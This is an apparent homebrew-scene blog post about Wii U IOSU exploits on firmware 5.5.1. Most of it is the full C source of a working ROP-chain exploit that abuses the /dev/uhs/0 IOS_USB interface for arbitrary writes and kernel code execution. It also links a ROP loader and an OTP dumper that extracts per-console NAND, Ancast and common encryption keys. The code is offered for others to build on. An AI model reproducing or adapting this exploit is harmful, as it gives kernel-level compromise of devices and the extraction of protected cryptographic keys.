Most of you have heard about another Wii-U IOSU Kexploit for current FW and you may have even seen other posts mentioning it too. Well, two interesting posts have popped up on GBATEMP out of nowhere and both show promise for Wii U.
The first one is an ROP from within IOS_USB (FW5.5.1). Below is an implementation of the userland IOSU exploit that’s on a wiki. It demonstrates a simple ROP chain which will call the shutdown syscall from within IOS_USB and restart your console. (5.5.1 only.) I’m posting this here in the hope that someone might build on this and get privileged execution on the ARM, perhaps by implementing the IOS_CreateThread exploit that is detailed on the wiki and then shares it publicly.
Here's IOSU kernel code execution (using the IOS_CreateThread vector which is described on wiiubrew):
//Main.c #include <string.h> #include <stdarg.h> #include <stdlib.h> #include <malloc.h> #include <unistd.h> #include "dynamic_libs/os_functions.h" #include "dynamic_libs/fs_functions.h" #include "dynamic_libs/gx2_functions.h" #include "dynamic_libs/sys_functions.h" #include "dynamic_libs/vpad_functions.h" #include "dynamic_libs/padscore_functions.h" #include "dynamic_libs/socket_functions.h" #include "dynamic_libs/ax_functions.h" #include "fs/fs_utils.h" #include "fs/sd_fat_devoptab.h" #include "system/memory.h" #include "utils/logger.h" #include "utils/utils.h" #include "common/common.h" #include "main.h" int dev_uhs_0_handle; /* YOUR ARM CODE HERE (starts at 0x08122500) */ int execute_me[] = { 0xE3A00000, // MOV R0, #0 0xE12FFF1E, // BX LR }; #define CHAIN_START 0x1016AD40 #define SHUTDOWN 0x1012EE4C #define SIMPLE_RETURN 0x101014E4 #define SOURCE (0x120000) #define IOS_CREATETHREAD 0x1012EABC /* ROP CHAIN STARTS HERE (0x1015BD78) */ int final_chain[] = { 0x101236f3, // 0x00 POP {R1-R7,PC} 0x0, // 0x04 arg 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR 0x68, // 0x0C stacksize 0x10101638, // 0x10 0x0, // 0x14 0x0, // 0x18 0x0, // 0x1C 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 0x0, // 0x24 0x0, // 0x28 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x30 0x0, // 0x34 IOS_CREATETHREAD, // 0x38 0x1, // 0x3C 0x2, // 0x40 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} 0x0812A314, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xEE030F10, // 0x4C value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) 0x0, // 0x50 0x10123a8b, // 0x54 POP {R3,R4,PC} 0x1, // 0x58 R3 must be 1 for the arbitrary write 0x0, // 0x5C 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x64 0x0, // 0x68 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) 0x0, // 0x70 0x0, // 0x74 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} 0x0812A314 + 0x4, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE1A0D001, // 0x80 value: MOV SP, R1 0x0, // 0x84 0x10123a8b, // 0x88 POP {R3,R4,PC} 0x1, // 0x8C R3 must be 1 for the arbitrary write 0x0, // 0x90 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x98 0x0, // 0x9C 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) 0x0, // 0xA4 0x0, // 0xA8 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} 0x0812A314 + 0x8, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE8BD800F, // 0xB4 value: LDMFD SP!, {R0-R3,PC} 0x0, // 0xB8 0x10123a8b, // 0xBC POP {R3,R4,PC} 0x1, // 0xC0 R3 must be 1 for the arbitrary write 0x0, // 0xC4 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0xCC 0x0, // 0xD0 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) 0x0, // 0xD8 0x0, // 0xDC 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} 0xFFFFFFFF, // 0xE4 enable read/write everywhere 0x1015BD78 + 0xF4, // 0xE8 location of privileged stack 0x0, // 0xEC 0x1012EB8C, // 0xF0 IOS_GetUpTime64 (privileged stack pivot) (ends in LDMFD SP!, {R0-R3,PC}) 0x08122500, // 0xF4 destination 0x00140000, // 0xF8 source sizeof(execute_me),// 0xFC length 0x0, // 0x100 0x08131AE4, // 0x104 BL KERNEL_MEMCPY; MOV R0, R4; ADD SP, SP, #8; LDMFD SP!, {R4-R8,PC} 0x0, // 0x108 0x0, // 0x10C 0xFFFFDC48, // 0x110 Will be the LR: shutdown syscall 0x0, // 0x114 0x0, // 0x118 0x0, // 0x11C 0x0, // 0x120 0x0812A124, // 0x124 MOV LR, R4; MOV R0, LR; LDMFD SP!, {R4,PC} 0x0, // 0x128 0x08122500, // 0x12C Jump to code! }; int second_chain[] = { 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination 0x0, // 0x08 0x0, // 0x0C 0x101063db, // 0x10 POP {R1,R2,R5,PC} 0x00130000, // 0x14 source sizeof(final_chain), // 0x18 length 0x0, // 0x1C 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} 0x0, // 0x24 0x0, // 0x28 0x101236f3, // 0x2C POP {R1-R7,PC} 0x0, // 0x30 arg 0x101001DC, // 0x34 stackptr 0x68, // 0x38 stacksize 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} 0x0, // 0x40 0x0, // 0x44 0x0, // 0x48 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 0x0, // 0x50 0x0, // 0x54 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x5C 0x0, // 0x60 IOS_CREATETHREAD, // 0x64 0x1, // 0x68 priority 0x2, // 0x6C flags 0x0, // 0x70 0x0, // 0x74 0x101063db, // 0x78 POP {R1,R2,R5,PC} 0x0, // 0x7C -(0x240 + 0xF000), // 0x80 stack offset 0x0, // 0x84 0x1011D424, // 0x88 LDMFD SP!, {R4-R11,PC} 0x0, // 0x8C 0x0, // 0x90 0x0, // 0x94 0x0, // 0x98 0x0, // 0x9C 0x0, // 0xA0 0x0, // 0xA4 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack 0x1012EA68, // 0xAC stack pivot }; int Menu_Main(void) { //!---------INIT--------- InitOSFunctionPointers(); //! Init coreinit functions adresses dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node uhs_exploit_init(); //! Init variables for the exploit //!------ROP CHAIN------- uhs_write32(CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); uhs_write32(CHAIN_START + 0x10, 0x1011814C); uhs_write32(CHAIN_START + 0xC, SOURCE); uhs_write32(CHAIN_START, 0x1012392b); // pop {R4-R6,PC} //!--------DEINIT-------- IOS_Close(dev_uhs_0_handle); //! Close /dev/uhs/0 IOS node return EXIT_SUCCESS; //! Exit from HBL } //!------Variables used in exploit------ int *pretend_root_hub = (int*)0xF5003ABC; int *ayylmao = (int*)0xF4500000; //!------------------------------------- void uhs_exploit_init() { ayylmao[5] = 1; ayylmao[8] = 0x500000; memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); memcpy((char*)(0xF4140000), execute_me, sizeof(execute_me)); pretend_root_hub[33] = 0x500000; pretend_root_hub[78] = 0; DCFlushRange(pretend_root_hub + 33, 200); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange(pretend_root_hub + 33, 200); //! |for "pretend_root_hub" DCFlushRange((void*)0xF4120000, sizeof(second_chain)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4120000, sizeof(second_chain)); //! |for second chain inside MEM1 DCFlushRange((void*)0xF4130000, sizeof(final_chain)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4130000, sizeof(final_chain)); //! |for final chain inside MEM1 DCFlushRange((void*)0xF4140000, sizeof(execute_me)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4140000, sizeof(execute_me)); //! |for final chain inside MEM1 } int uhs_write32(int arm_addr, int val) { ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes DCFlushRange(ayylmao, 521 * 4); //! |Make CPU fetch new data (with updated adress) DCInvalidateRange(ayylmao, 521 * 4); //! |for "ayylmao" OSSleepTicks(0x200000); //! Improves stability int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 int output_buffer[32]; return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); }
Put your code into execute_me and it'll execute. You have about 0x5D0 bytes of space. The above code will simply shut your console down as a demonstration.
However, the code here isn’t at the stage we want it at; the ROP chain runs unprivileged inside IOS-USB. This code is for developers who would like to try getting privileged execution on the ARM, possibly using the IOS_CreateThread exploit on wiiubrew.
There has been some more progress. I’m attaching a .zip archive which contains a new version of the ROP chain loader. Merge it into dimok’s hello world project in order to build it. This new version is much easier to use than the first one. You simply copy in your ROP chain (up to about 0xF000 bytes), make, and run.
Download: ios-usb_rop.zip
The other one is OTP access using the IOSU kernel, which can read out console-specific encryption data that has NAND keys, the Ancast key, the common key, and others. I was told it’s a little unstable and may take a few tries to execute but it does work.
Download: IOSU OTP
Source code: iosu_otp2screen.zip
The readout contains encryption keys, which can be used for decryption of course, as well as some other unique per-console data. However, this proves that IOSU kernel access has been achieved and something is being done with it. Since we now have OTP and ROP it might be time to dust off your Wii-U and get ready for some fun with your Wii-U again.